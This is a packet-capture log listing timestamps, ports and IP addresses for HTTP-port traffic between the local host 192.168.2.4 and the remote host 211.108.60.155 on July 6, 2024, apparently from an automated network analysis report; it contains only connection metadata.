Jul 6, 2024 14:10:19.881201982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.881254911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.881278992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.881290913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.881314039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.881334066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.881345034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.881930113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.881972075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.882044077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.882083893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.882211924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.882256031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.882276058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.882287979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.882318020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.882755041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.882778883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.882796049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.882814884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.883210897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883223057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883233070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883255959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.883270979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.883280993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883328915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.883620977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883666039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.883749008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883759975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883779049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883800983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.883826017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.883877993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883888006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.883914948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.883929968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884162903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884206057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884236097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884248018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884279966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884294987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884311914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884322882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884350061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884363890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884401083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884411097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884439945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884454012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884912014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884964943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.884965897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.884979010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885009050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885010958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885020018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885040045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885551929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885602951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885667086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885709047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885744095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885781050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885783911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885797024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885807037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885824919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885855913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885895967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885957003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.885960102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.885999918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.886075020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.886126995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.080497026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.080560923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.080688953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.080701113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.080713034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.080725908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.080749989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.080787897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.080800056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.080816031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.080825090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.080826998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.080856085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.080878019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.080998898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081010103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081021070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081032038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081043005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081043959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081053972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081065893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081073046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081091881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081111908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081129074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081139088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081149101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081161976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081178904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081248999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081259966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081269979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081279993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081290007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081291914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081304073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081315041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081325054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081329107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081329107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081335068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081346035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081362009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081381083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081572056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081583977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081593990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081623077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081635952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081710100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081721067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081743002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081747055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081753016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081762075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081770897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081770897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081780910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081783056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081792116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081801891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081804991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081811905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081823111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081823111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081832886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081842899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081842899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081854105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081864119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081870079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081875086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.081895113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.081904888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.084181070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.084192038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.084203005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.084213018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.084223986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.084224939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.084234953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.084242105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.084245920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.084255934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.084278107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.084297895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.269889116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.269923925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.269934893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.269951105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.269996881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.269996881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.270044088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.270055056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.270065069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.270081043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.270092964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.281725883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.281874895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.281884909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.281924009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.281948090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.282129049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282140017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282150030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282174110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.282201052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.282331944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282366991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282377005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282397032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.282413960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282417059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.282433987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282444954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282454014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282470942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.282494068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.282936096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282982111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.282994032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283024073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283037901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283072948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283085108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283117056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283142090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283150911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283181906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283196926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283205986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283243895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283257008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283266068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283305883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283443928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283466101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283498049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283508062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283509970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283541918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283581972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283623934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283674955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283716917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283750057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283766985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283788919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283808947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283819914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.283854961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.283967018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284007072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.284070015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284079075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284090042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284109116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.284123898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.284147024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284187078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.284193993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284229040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.284321070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284408092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.284416914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284459114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.284507036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284517050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.284552097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285355091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285396099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285443068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285454035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285495043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285496950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285509109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285542011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285653114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285698891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285708904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285718918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285748005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285821915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285832882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285842896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285866022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285881042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285949945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285959005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285969973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.285986900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.285998106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.286041975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286051035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286079884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.286082983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286092043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286108017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286115885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.286142111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.286650896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286662102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286670923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286681890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.286700964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.286725044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.286734104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.286864042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.290251970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477279902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477297068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477307081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477340937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477361917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477364063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477372885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477382898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477395058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477407932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477435112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477511883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477521896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477531910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477560043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477583885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477663040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477673054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477683067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477691889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477708101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477710009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477718115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477720976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477727890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477737904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477755070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477777958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.477931976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.477973938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.478004932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478014946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478027105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478035927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478086948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.478086948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.478197098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478208065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478218079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478230000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478246927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.478280067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.478295088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:20.478312969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478323936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:20.478354931 CEST	49732	80	192.168.2.4	211.108.60.155
